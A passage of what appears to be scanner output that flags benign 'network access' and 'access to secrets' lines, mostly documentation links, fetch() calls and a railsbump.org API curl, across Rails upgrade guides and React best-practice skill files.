one user's token to everybody or you cannot cache it at all. Remote forms were assumed to always be submitted by UJS as an XHR, which in a real application they are not. The [Rails CHANGELOG entry for the flip](https://github.com/rails/rail - Network accessline 613
to always be submitted by UJS as an XHR, which in a real application they are not. The [Rails CHANGELOG entry for the flip](https://github.com/rails/rails/commit/128cfbdf4d316a544a76e5c58dbeac153f3d4e36) names the escape hatch: set the conf - Network accessline 614
[Rails CHANGELOG entry for the flip](https://github.com/rails/rails/commit/128cfbdf4d316a544a76e5c58dbeac153f3d4e36) - Network accessline 615
[Credential-related source omitted] - Network accessline 616
per form. Later Rails [softened the default to `nil`](https://github.com/rails/rails/commit/6309b85100dd2b55c716ee4a4e9cbd3da2dc0617), meaning "let the form helper decide", so pinning it back is not fighting the - Network accessline 617
[softened the default to `nil`](https://github.com/rails/rails/commit/6309b85100dd2b55c716ee4a4e9cbd3da2dc0617), - Network accessline 662
fetch(url, { - Network accessline 1262
Fixed in Rails 5.0 by [rails/rails#18548](https://github.com/rails/rails/pull/18548), which guards `ActiveRecord::Callbacks#destroy` against re-entrant callbacks. Not backported to 4.x. - Network accessline 1846
- [Rails 4.0 Release Notes](https://guides.rubyonrails.org/4_0_release_notes.html) - Network accessline 1847
- [Strong Parameters Guide](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters) - Network accessline 1848
- [RailsDiff 3.2 to 4.0](http://railsdiff.org/3.2.22.5/4.0.13)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-4.0-to-4.1.md
- Network accessline 5
**Based on "The Complete Guide to Upgrade Rails" by FastRuby.io (OmbuLabs), the [official Rails 4.1 upgrade guide](https://guides.rubyonrails.org/v4.1/upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1), and the Rails 4.1 re - Network accessline 123
See [rails/rails#13271](https://github.com/rails/rails/pull/13271). - Network accessline 158
See [rails/rails#9712](https://github.com/rails/rails/issues/9712) for background. - Network accessline 775
**What Changed:** Rails 4.1 no longer depends on the [`multi_json`](https://github.com/intridea/multi_json) gem. Its constant is `MultiJson` (there is no `MultiJSON` constant). Code that references `MultiJson` (calls, `rescue MultiJson::Par - Network accessline 776
Rails 4.1 no longer depends on the [`multi_json`](https://github.com/intridea/multi_json) gem. Its constant is `MultiJson` (there is no `MultiJSON` constant). Code that references `MultiJson` (calls, `rescue MultiJson::ParseError`, `MultiJs - Network accessline 857
See [this commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2). - Network accessline 909
See [rails/rails#13345](https://github.com/rails/rails/pull/13345). - Network accessline 1265
Run `bin/rake rails:update` to walk through config changes interactively. See also [RailsDiff 4.0.13 → 4.1.16](http://railsdiff.org/4.0.13/4.1.16) for the exact diff. - Network accessline 1328
Cross-check against [RailsDiff 4.0.13 → 4.1.16](http://railsdiff.org/4.0.13/4.1.16). - Network accessline 1419
- [Rails 4.1 Release Notes](https://guides.rubyonrails.org/v4.1/4_1_release_notes.html) - Network accessline 1420
- [Upgrading from Rails 4.0 to Rails 4.1 (official)](https://guides.rubyonrails.org/v4.1/upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1) - Network accessline 1421
- [RailsDiff 4.0.13 → 4.1.16](http://railsdiff.org/4.0.13/4.1.16) - Network accessline 1422
- [`activerecord-deprecated_finders` gem](https://github.com/rails/activerecord-deprecated_finders) - Network accessline 1423
- [`activesupport-json_encoder` gem](https://github.com/rails/activesupport-json_encoder) - Network accessline 1424
- [Running `rails:update`](http://thomasleecopeland.com/2015/08/06/running-rails-update.html)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-4.1-to-4.2.md
- Network accessline 63
**What Changed:** The `respond_with` helper and class-level `respond_to` declarations were extracted from Rails core into the [`responders`](https://github.com/heartcombo/responders) gem. - Network accessline 64
The `respond_with` helper and class-level `respond_to` declarations were extracted from Rails core into the [`responders`](https://github.com/heartcombo/responders) gem. - Network accessline 178
**What Changed:** `sanitize`, `sanitize_css`, `strip_tags`, and `strip_links` are now backed by [Loofah](https://github.com/flavorjones/loofah) (via Nokogiri). Output may differ for edge-case inputs. `sanitize` also now accepts a `Loofah::S - Network accessline 179
`sanitize`, `sanitize_css`, `strip_tags`, and `strip_links` are now backed by [Loofah](https://github.com/flavorjones/loofah) (via Nokogiri). Output may differ for edge-case inputs. `sanitize` also now accepts a `Loofah::Scrubber` — two new - Network accessline 335
**What Changed:** Rails 4.2 ships with a native foreign-key DSL for migrations. You can now drop the [`foreigner`](https://github.com/matthuhiggins/foreigner) gem if its features are a match. - Network accessline 336
Rails 4.2 ships with a native foreign-key DSL for migrations. You can now drop the [`foreigner`](https://github.com/matthuhiggins/foreigner) gem if its features are a match. - Network accessline 403
Consider [Transpec](http://yujinakayama.me/transpec/) to automate common 2 → 3 syntax conversions. - Network accessline 530
Cross-check against [RailsDiff 4.1.16 → 4.2.11.3](http://railsdiff.org/4.1.16/4.2.11.3) for the exact diff. - Network accessline 571
- [Rails 4.2 Release Notes](https://guides.rubyonrails.org/v4.2/4_2_release_notes.html) - Network accessline 572
- [Upgrading from Rails 4.1 to Rails 4.2 (official)](https://guides.rubyonrails.org/v4.2/upgrading_ruby_on_rails.html#upgrading-from-rails-4-1-to-rails-4-2) - Network accessline 573
- [FastRuby.io: Upgrade Rails from 4.1 to 4.2](https://www.fastruby.io/blog/rails/upgrades/upgrade-rails-from-4-1-to-4-2.html) - Network accessline 574
- [RailsDiff 4.1.16 → 4.2.11.3](http://railsdiff.org/4.1.16/4.2.11.3) - Network accessline 575
- [`responders` gem](https://github.com/heartcombo/responders) - Network accessline 576
- [`web-console` gem](https://github.com/rails/web-console) - Network accessline 577
- [ActiveSupport::Testing::TimeHelpers](https://api.rubyonrails.org/v4.2/classes/ActiveSupport/Testing/TimeHelpers.html)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-4.2-to-5.0.md
- Network accessline 29
**What Changed:** Rails 5.0 requires Ruby 2.2.2 or newer: the `rails` 5.0 gemspec sets `required_ruby_version >= 2.2.2`, while 4.2 accepts `>= 1.9.3`. Bundler refuses to install 5.0 on an older Ruby, so upgrade Ruby first, while the app is - Network accessline 30
Rails 5.0 requires Ruby 2.2.2 or newer: the `rails` 5.0 gemspec sets `required_ruby_version >= 2.2.2`, while 4.2 accepts `>= 1.9.3`. Bundler refuses to install 5.0 on an older Ruby, so upgrade Ruby first, while the app is still on Rails 4.2 - Network accessline 159
**Tool:** Use [rails_upgrader](https://github.com/fastruby/rails_upgrader) gem to help automate this. - Network accessline 173
params.slice(:name, :email) params.except(:id) params.fetch(:user) - Network accessline 175
params.fetch(:user) - Network accessline 351
Check gems at [RailsBump](https://railsbump.org/) before upgrading. - Network accessline 457
- [Rails 5.0 Release Notes](https://guides.rubyonrails.org/5_0_release_notes.html) - Network accessline 458
- [RailsDiff 4.2 to 5.0](http://railsdiff.org/4.2.10/5.0.7) - Network accessline 459
- [Strong Parameters Guide](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-5.0-to-5.1.md
- Network accessline 375
**What Changed:** The floor does not change: the `rails` 5.1 gemspec requires Ruby `>= 2.2.2`, the same as 5.0, so the Ruby that bundles 5.0 also bundles 5.1. The ceiling rises: the [FastRuby.io compatibility table](https://www.fastruby.io/ - Network accessline 376
The floor does not change: the `rails` 5.1 gemspec requires Ruby `>= 2.2.2`, the same as 5.0, so the Ruby that bundles 5.0 also bundles 5.1. The ceiling rises: the [FastRuby.io compatibility table](https://www.fastruby.io/blog/ruby/rails/ve - Network accessline 614
- [Rails 5.1 Release Notes](https://guides.rubyonrails.org/5_1_release_notes.html) - Network accessline 615
- [RailsDiff 5.0 to 5.1](http://railsdiff.org/5.0.7/5.1.7) - Network accessline 616
- [Encrypted Secrets Guide](https://guides.rubyonrails.org/security.html#custom-credentials)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-5.1-to-5.2.md
- Access to secretsline 209
[Credential-related source omitted] - Access to secretsline 212
[Credential-related source omitted] - Network accessline 316
**What Changed:** The floor does not change: the `rails` 5.2 gemspec requires Ruby `>= 2.2.2`, the same as 5.1, so the Ruby that bundles 5.1 also bundles 5.2. The ceiling rises: the [FastRuby.io compatibility table](https://www.fastruby.io/ - Network accessline 317
The floor does not change: the `rails` 5.2 gemspec requires Ruby `>= 2.2.2`, the same as 5.1, so the Ruby that bundles 5.1 also bundles 5.2. The ceiling rises: the [FastRuby.io compatibility table](https://www.fastruby.io/blog/ruby/rails/ve - Access to secretsline 409
[Credential-related source omitted] - Network accessline 593
- [Rails 5.2 Release Notes](https://guides.rubyonrails.org/5_2_release_notes.html) - Network accessline 594
- [RailsDiff 5.1 to 5.2](http://railsdiff.org/5.1.7/5.2.8) - Network accessline 595
- [Active Storage Guide](https://guides.rubyonrails.org/active_storage_overview.html) - Network accessline 596
- [Credentials Guide](https://guides.rubyonrails.org/security.html#custom-credentials)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-5.2-to-6.0.md
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-6.0-to-6.1.md
- Network accessline 303
- [Rails 6.1 Release Notes](https://guides.rubyonrails.org/6_1_release_notes.html) - Network accessline 304
- [RailsDiff 6.0 to 6.1](http://railsdiff.org/6.0.6/6.1.0) - Network accessline 305
- [Horizontal Sharding Guide](https://guides.rubyonrails.org/active_record_multiple_databases.html)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-6.1-to-7.0.md
- Network accessline 26
**What Changed:** Rails 7.0 requires Ruby 2.7.0 or newer: the `rails` 7.0 gemspec sets `required_ruby_version >= 2.7.0`, while 6.1 accepts `>= 2.5.0`. Bundler refuses to install 7.0 on an older Ruby, so upgrade Ruby first, while the app is - Network accessline 27
Rails 7.0 requires Ruby 2.7.0 or newer: the `rails` 7.0 gemspec sets `required_ruby_version >= 2.7.0`, while 6.1 accepts `>= 2.5.0`. Bundler refuses to install 7.0 on an older Ruby, so upgrade Ruby first, while the app is still on Rails 6.1 - Access to secretsline 241
[Credential-related source omitted] - Access to secretsline 244
[Credential-related source omitted] - Network accessline 334
redirect_back_or_to session[:forward_url] redirect_to request.referer redirect_to "https://example.com" - Network accessline 336
redirect_to "https://example.com" - Network accessline 341
# BEFORE (raises UnsafeRedirectError under load_defaults 7.0) redirect_to "https://example.com" - Network accessline 342
redirect_to "https://example.com" - Network accessline 344
# AFTER: allow the external host explicitly redirect_to "https://example.com", allow_other_host: true - Network accessline 345
redirect_to "https://example.com", allow_other_host: true - Network accessline 578
- [Rails 7.0 Release Notes](https://guides.rubyonrails.org/7_0_release_notes.html) - Network accessline 579
- [Hotwire Documentation](https://hotwired.dev) - Network accessline 580
- [Turbo Handbook](https://turbo.hotwired.dev/handbook/introduction) - Network accessline 581
- [Import Maps Guide](https://github.com/rails/importmap-rails)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-7.0-to-7.1.md
- Network accessline 28
**What Changed:** Rails 7.1 needs Ruby 2.7.3 or newer. The `rails` 7.1 gemspec still says `required_ruby_version >= 2.7.0`, the same as 7.0, but activerecord 7.1 defines `def method_missing(name, ...)` in `attribute_methods.rb`. A leading a - Network accessline 29
Rails 7.1 needs Ruby 2.7.3 or newer. The `rails` 7.1 gemspec still says `required_ruby_version >= 2.7.0`, the same as 7.0, but activerecord 7.1 defines `def method_missing(name, ...)` in `attribute_methods.rb`. A leading argument before `.. - Network accessline 347
**What Changed:** `ActiveRecord::Migration.check_pending!` is deprecated in favor of `check_all_pending!`, which loops through all configured databases. It still works in 7.1 but emits a deprecation warning, and is removed entirely in Rails - Network accessline 348
`ActiveRecord::Migration.check_pending!` is deprecated in favor of `check_all_pending!`, which loops through all configured databases. It still works in 7.1 but emits a deprecation warning, and is removed entirely in Rails 7.2. Commonly fou - Network accessline 493
- [Rails 7.1 Release Notes](https://guides.rubyonrails.org/7_1_release_notes.html) - Network accessline 494
- [RailsDiff 7.0 to 7.1](http://railsdiff.org/7.0.8/7.1.0) - Network accessline 495
- [Zeitwerk Documentation](https://github.com/fxn/zeitwerk)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-7.1-to-7.2.md
- Access to secretsline 203
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted] - Access to secretsline 224
[Credential-related source omitted] - Network accessline 233
**What Changed:** `ActiveRecord::Migration.check_pending!` was deprecated in Rails 7.1 and is removed in Rails 7.2. Calling it raises `NoMethodError`. When invoked from `test_helper.rb` or `rails_helper.rb` it breaks test-suite startup; whe - Network accessline 234
`ActiveRecord::Migration.check_pending!` was deprecated in Rails 7.1 and is removed in Rails 7.2. Calling it raises `NoMethodError`. When invoked from `test_helper.rb` or `rails_helper.rb` it breaks test-suite startup; when configured by a - Network accessline 495
- [Rails 7.2 Release Notes](https://guides.rubyonrails.org/7_2_release_notes.html) - Network accessline 496
- [RailsDiff 7.1 to 7.2](http://railsdiff.org/7.1.0/7.2.0) - Network accessline 497
- [Credentials Guide](https://guides.rubyonrails.org/security.html#custom-credentials)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-7.2-to-8.0.md
- Network accessline 379
production: adapter: redis url: <%= ENV.fetch("REDIS_URL") %> - Network accessline 381
url: <%= ENV.fetch("REDIS_URL") %> - Network accessline 816
- [Rails 8.0 Release Notes](https://guides.rubyonrails.org/8_0_release_notes.html) - Network accessline 817
- [Propshaft Documentation](https://github.com/rails/propshaft) - Network accessline 818
- [Solid Cache](https://github.com/rails/solid_cache) - Network accessline 819
- [Solid Queue](https://github.com/rails/solid_queue) - Network accessline 820
- [Kamal Documentation](https://kamal-deploy.org)
packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-8.0-to-8.1.md
packages/autoskills/skills-registry/rails-upgrade/workflows/05-detect-breaking-changes-workflow.md
- Access to secretsline 351
[Credential-related source omitted]
packages/autoskills/skills-registry/rails-upgrade/workflows/06-check-gem-compatibility-workflow.md
- Network accessline 41
|---|---|---|---| | **Primary**: `bundle_report compatibility` | `next_rails` (local CLI) | Synchronous, pre-bucketed output, gives upgrade target version per gem, no third-party uptime concern | Reads gemspec metadata only — can miss trans - Network accessline 43
| **Secondary**: railsbump.org API | `https://api.railsbump.org` | Tests actual lockfile resolution graph against a real Rails release | Async (30-600s polling), depends on third-party uptime, occasional `unknown` results | - Network accessline 106
curl -sS -X POST https://api.railsbump.org/lockfiles \ - Network accessline 117
"slug": "abc123", "status": "pending", "status_url": "https://api.railsbump.org/lockfiles/abc123", - Network accessline 118
"status": "pending", "status_url": "https://api.railsbump.org/lockfiles/abc123", "retry_after_seconds": 45, - Network accessline 119
"status_url": "https://api.railsbump.org/lockfiles/abc123", - Network accessline 132
curl -sS https://api.railsbump.org/lockfiles/<slug> | jq .
packages/autoskills/skills-registry/rails-upgrade/workflows/07-boot-smoke-test-workflow.md
packages/autoskills/skills-registry/react-best-practices/AGENTS.md
- Network accessline 266
Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all) - Network accessline 477
Reference: [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js) - Network accessline 639
Reference: [https://nextjs.org/docs/app/api-reference/config/next-config-js/output](https://nextjs.org/docs/app/api-reference/config/next-config-js/output), [https://nextjs.org/learn/seo/dynamic-imports](https://nextjs.org/learn/seo/dynamic - Network accessline 783
Reference: [https://nextjs.org/docs/app/guides/authentication](https://nextjs.org/docs/app/guides/authentication) - Network accessline 925
**With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests - Network accessline 929
Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache) - Network accessline 943
export async function GET(request: Request) { // Runs on EVERY request - expensive! const fontData = await fetch( - Network accessline 944
// Runs on EVERY request - expensive! const fontData = await fetch( new URL('./fonts/Inter.ttf', import.meta.url) - Network accessline 945
const fontData = await fetch( - Network accessline 949
const logoData = await fetch( - Network accessline 969
// Module-level: runs ONCE when module is first imported const fontData = fetch( - Network accessline 970
const fontData = fetch( - Network accessline 974
const logoData = fetch( - Network accessline 1077
With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute), module-level caching is especially effective because multiple concurrent requests share the same function instance. The static assets stay loaded in memory across request - Network accessline 1288
Reference: [https://react.dev/reference/react/cache](https://react.dev/reference/react/cache) - Network accessline 1362
Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after) - Network accessline 1496
const [users, setUsers] = useState([]) useEffect(() => { fetch('/api/users') - Network accessline 1497
useEffect(() => { fetch('/api/users') .then(r => r.json()) - Network accessline 1498
fetch('/api/users') - Network accessline 1536
Reference: [https://swr.vercel.app](https://swr.vercel.app) - Network accessline 1647
Reference: [https://react.dev/learn/you-might-not-need-an-effect](https://react.dev/learn/you-might-not-need-an-effect) - Network accessline 1866
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders. - Network accessline 1948
Reference: [https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler](https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler) - Network accessline 2008
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, it automatically optimizes dependency tracking and may handle some of these cases for you. - Network accessline 2111
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu - Network accessline 2258
Reference: [https://react.dev/reference/react/useDeferredValue](https://react.dev/reference/react/useDeferredValue) - Network accessline 2454
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary. - Network accessline 2623
<html> <head> <script src="https://example.com/analytics.js" /> - Network accessline 2624
<head> <script src="https://example.com/analytics.js" /> <script src="/scripts/utils.js" /> - Network accessline 2625
<script src="https://example.com/analytics.js" /> - Network accessline 2640
return ( <> <Script src="https://example.com/analytics.js" strategy="afterInteractive" /> - Network accessline 2641
<> <Script src="https://example.com/analytics.js" strategy="afterInteractive" /> <Script src="/scripts/utils.js" strategy="beforeInteractive" /> - Network accessline 2642
<Script src="https://example.com/analytics.js" strategy="afterInteractive" /> - Network accessline 2651
Reference: [https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#defer](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#defer) - Network accessline 2712
export default function App() { prefetchDNS('https://analytics.example.com') - Network accessline 2713
prefetchDNS('https://analytics.example.com') - Network accessline 2714
preconnect('https://api.example.com') - Network accessline 2778
Reference: [https://react.dev/reference/react-dom#resource-preloading-apis](https://react.dev/reference/react-dom#resource-preloading-apis) - Network accessline 2852
Reference: [https://react.dev/reference/react/useTransition](https://react.dev/reference/react/useTransition) - Network accessline 2948
See [this gist](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) and [CSS Triggers](https://csstriggers.com/) for more information on layout-forcing operations. - Network accessline 3082
Reference: [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast) - Network accessline 3552
This works for small arrays, but can be slower or just throw an error for very large arrays due to spread operator limitations. Maximal array length is approximately 124000 in Chrome 143 and 638000 in Safari 18; exact numbers may vary - see - Network accessline 3689
Reference: [https://react.dev/reference/react/useEffectEvent#effect-event-in-deps](https://react.dev/reference/react/useEffectEvent#effect-event-in-deps) - Network accessline 3727
Reference: [https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application](https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application) - Network accessline 3804
1. [https://react.dev](https://react.dev) - Network accessline 3805
2. [https://nextjs.org](https://nextjs.org) - Network accessline 3806
3. [https://swr.vercel.app](https://swr.vercel.app) - Network accessline 3807
4. [https://github.com/shuding/better-all](https://github.com/shuding/better-all) - Network accessline 3808
5. [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache) - Network accessline 3809
6. [https://vercel.com/blog/how-we-optimized-package-imports-in-next-js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js) - Network accessline 3810
7. [https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)
packages/autoskills/skills-registry/react-best-practices/README.md
packages/autoskills/skills-registry/react-best-practices/metadata.json
- Network accessline 5
"abstract": "Comprehensive performance optimization guide for React and Next.js applications, designed for AI agents and LLMs. Contains 40+ rules across 8 categories, prioritized by impact from critical (eliminating waterfalls, reducing bun - Network accessline 6
"references": [ "https://react.dev", "https://nextjs.org", - Network accessline 7
"https://react.dev", - Network accessline 8
"https://nextjs.org", - Network accessline 9
"https://swr.vercel.app", - Network accessline 10
"https://github.com/shuding/better-all", - Network accessline 11
"https://github.com/isaacs/node-lru-cache", - Network accessline 12
"https://vercel.com/blog/how-we-optimized-package-imports-in-next-js", - Network accessline 13
"https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast"
packages/autoskills/skills-registry/react-best-practices/rules/_template.md
- Network accessline 28
Reference: [Link to documentation or resource](https://example.com)
packages/autoskills/skills-registry/react-best-practices/rules/advanced-effect-event-deps.md
- Network accessline 56
Reference: [React useEffectEvent: Effect Event in deps](https://react.dev/reference/react/useEffectEvent#effect-event-in-deps)
packages/autoskills/skills-registry/react-best-practices/rules/advanced-init-once.md
- Network accessline 42
Reference: [Initializing the application](https://react.dev/learn/you-might-not-need-an-effect#initializing-the-application)
packages/autoskills/skills-registry/react-best-practices/rules/async-dependencies.md
- Network accessline 51
Reference: [https://github.com/shuding/better-all](https://github.com/shuding/better-all)
packages/autoskills/skills-registry/react-best-practices/rules/bundle-analyzable-paths.md
- Network accessline 63
Reference: [Next.js output](https://nextjs.org/docs/app/api-reference/config/next-config-js/output), [Next.js dynamic imports](https://nextjs.org/learn/seo/dynamic-imports), [Vite features](https://vite.dev/guide/features.html), [esbuild AP
packages/autoskills/skills-registry/react-best-practices/rules/bundle-barrel-imports.md
- Network accessline 60
Reference: [How we optimized package imports in Next.js](https://vercel.com/blog/how-we-optimized-package-imports-in-next-js)
packages/autoskills/skills-registry/react-best-practices/rules/client-swr-dedup.md
packages/autoskills/skills-registry/react-best-practices/rules/js-batch-dom-css.md
- Network accessline 107
See [this gist](https://gist.github.com/paulirish/5d52fb081b3570c81e3a) and [CSS Triggers](https://csstriggers.com/) for more information on layout-forcing operations.
packages/autoskills/skills-registry/react-best-practices/rules/js-cache-function-results.md
- Network accessline 80
Reference: [How we made the Vercel Dashboard twice as fast](https://vercel.com/blog/how-we-made-the-vercel-dashboard-twice-as-fast)
packages/autoskills/skills-registry/react-best-practices/rules/js-min-max-loop.md
- Network accessline 82
This works for small arrays, but can be slower or just throw an error for very large arrays due to spread operator limitations. Maximal array length is approximately 124000 in Chrome 143 and 638000 in Safari 18; exact numbers may vary - see
packages/autoskills/skills-registry/react-best-practices/rules/rendering-hoist-jsx.md
- Network accessline 46
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler automatically hoists static JSX elements and optimizes component re-renders, making manual hoisting unnecessary.
packages/autoskills/skills-registry/react-best-practices/rules/rendering-resource-hints.md
- Network accessline 26
export default function App() { prefetchDNS('https://analytics.example.com') - Network accessline 27
prefetchDNS('https://analytics.example.com') - Network accessline 28
preconnect('https://api.example.com') - Network accessline 85
Reference: [React DOM Resource Preloading APIs](https://react.dev/reference/react-dom#resource-preloading-apis)
packages/autoskills/skills-registry/react-best-practices/rules/rendering-script-defer-async.md
- Network accessline 24
<html> <head> <script src="https://example.com/analytics.js" /> - Network accessline 25
<head> <script src="https://example.com/analytics.js" /> <script src="/scripts/utils.js" /> - Network accessline 26
<script src="https://example.com/analytics.js" /> - Network accessline 41
<head> {/* Independent script - use async */} <script src="https://example.com/analytics.js" async /> - Network accessline 42
{/* Independent script - use async */} <script src="https://example.com/analytics.js" async /> {/* DOM-dependent script - use defer */} - Network accessline 43
<script src="https://example.com/analytics.js" async /> - Network accessline 59
return ( <> <Script src="https://example.com/analytics.js" strategy="afterInteractive" /> - Network accessline 60
<> <Script src="https://example.com/analytics.js" strategy="afterInteractive" /> <Script src="/scripts/utils.js" strategy="beforeInteractive" /> - Network accessline 61
<Script src="https://example.com/analytics.js" strategy="afterInteractive" /> - Network accessline 68
Reference: [MDN - Script element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#defer)
packages/autoskills/skills-registry/react-best-practices/rules/rendering-usetransition-loading.md
- Network accessline 75
Reference: [useTransition](https://react.dev/reference/react/useTransition)
packages/autoskills/skills-registry/react-best-practices/rules/rerender-derived-state-no-effect.md
- Network accessline 40
References: [You Might Not Need an Effect](https://react.dev/learn/you-might-not-need-an-effect)
packages/autoskills/skills-registry/react-best-practices/rules/rerender-functional-setstate.md
- Network accessline 74
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, the compiler can automatically optimize some cases, but functional updates are still recommended for correctness and to prevent stale closure bu
packages/autoskills/skills-registry/react-best-practices/rules/rerender-memo.md
- Network accessline 44
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, manual memoization with `memo()` and `useMemo()` is not necessary. The compiler automatically optimizes re-renders.
packages/autoskills/skills-registry/react-best-practices/rules/rerender-move-effect-to-event.md
- Network accessline 45
Reference: [Should this code move to an event handler?](https://react.dev/learn/removing-effect-dependencies#should-this-code-move-to-an-event-handler)
packages/autoskills/skills-registry/react-best-practices/rules/rerender-split-combined-hooks.md
- Network accessline 64
**Note:** If your project has [React Compiler](https://react.dev/learn/react-compiler) enabled, it automatically optimizes dependency tracking and may handle some of these cases for you.
packages/autoskills/skills-registry/react-best-practices/rules/rerender-use-deferred-value.md
- Network accessline 59
Reference: [React useDeferredValue](https://react.dev/reference/react/useDeferredValue)
packages/autoskills/skills-registry/react-best-practices/rules/server-after-nonblocking.md
- Network accessline 73
Reference: [https://nextjs.org/docs/app/api-reference/functions/after](https://nextjs.org/docs/app/api-reference/functions/after)
packages/autoskills/skills-registry/react-best-practices/rules/server-auth-actions.md
- Network accessline 96
Reference: [https://nextjs.org/docs/app/guides/authentication](https://nextjs.org/docs/app/guides/authentication)
packages/autoskills/skills-registry/react-best-practices/rules/server-cache-lru.md
- Network accessline 37
**With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute):** LRU caching is especially effective because multiple concurrent requests can share the same function instance and cache. This means the cache persists across requests - Network accessline 41
Reference: [https://github.com/isaacs/node-lru-cache](https://github.com/isaacs/node-lru-cache)
packages/autoskills/skills-registry/react-best-practices/rules/server-cache-react.md
- Network accessline 76
Reference: [React.cache documentation](https://react.dev/reference/react/cache)
packages/autoskills/skills-registry/react-best-practices/rules/server-hoist-static-io.md
- Network accessline 20
export async function GET(request: Request) { // Runs on EVERY request - expensive! const fontData = await fetch( - Network accessline 21
// Runs on EVERY request - expensive! const fontData = await fetch( new URL('./fonts/Inter.ttf', import.meta.url) - Network accessline 22
const fontData = await fetch( - Network accessline 26
const logoData = await fetch( - Network accessline 46
// Module-level: runs ONCE when module is first imported const fontData = fetch( - Network accessline 47
const fontData = fetch( - Network accessline 51
const logoData = fetch( - Network accessline 147
With Vercel's [Fluid Compute](https://vercel.com/docs/fluid-compute), module-level caching is especially effective because multiple concurrent requests share the same function instance. The static assets stay loaded in memory across request
packages/autoskills/skills-registry/react-hook-form/AGENTS.md
- Network accessline 69
1. [https://react-hook-form.com/docs](https://react-hook-form.com/docs) - Network accessline 70
2. [https://react-hook-form.com/advanced-usage](https://react-hook-form.com/advanced-usage) - Network accessline 71
3. [https://react-hook-form.com/docs/useform](https://react-hook-form.com/docs/useform) - Network accessline 72
4. [https://react-hook-form.com/docs/useform/subscribe](https://react-hook-form.com/docs/useform/subscribe) - Network accessline 73
5. [https://react-hook-form.com/docs/useform/seterror](https://react-hook-form.com/docs/useform/seterror) - Network accessline 74
6. [https://react-hook-form.com/docs/useform/setvalue](https://react-hook-form.com/docs/useform/setvalue) - Network accessline 75
7. [https://react-hook-form.com/docs/useform/resetdefaultvalues](https://react-hook-form.com/docs/useform/resetdefaultvalues) - Network accessline 76
8. [https://react-hook-form.com/docs/useform/formstate](https://react-hook-form.com/docs/useform/formstate) - Network accessline 77
9. [https://react-hook-form.com/docs/usewatch](https://react-hook-form.com/docs/usewatch) - Network accessline 78
10. [https://react-hook-form.com/docs/usecontroller](https://react-hook-form.com/docs/usecontroller) - Network accessline 79
11. [https://react-hook-form.com/docs/usefieldarray](https://react-hook-form.com/docs/usefieldarray) - Network accessline 80
12. [https://react-hook-form.com/docs/useformstate](https://react-hook-form.com/docs/useformstate) - Network accessline 81
13. [https://github.com/react-hook-form/react-hook-form/releases](https://github.com/react-hook-form/react-hook-form/releases) - Network accessline 82
14. [https://github.com/react-hook-form/resolvers](https://github.com/react-hook-form/resolvers) - Network accessline 83
15. [https://ui.shadcn.com/docs/components/form](https://ui.shadcn.com/docs/components/form)
packages/autoskills/skills-registry/react-hook-form/README.md
- Network accessline 86
Reference: [Documentation Link](https://example.com)
packages/autoskills/skills-registry/react-hook-form/assets/templates/_template.md
- Network accessline 26
Reference: [Link to documentation or resource](https://example.com)
packages/autoskills/skills-registry/react-hook-form/metadata.json
- Network accessline 6
"abstract": "Focused guide to the React Hook Form decisions a capable model gets wrong. Contains 35 rules across 7 categories, verified against react-hook-form 7.82.0 by diffing the shipped type definitions and type-checking every code bloc - Network accessline 7
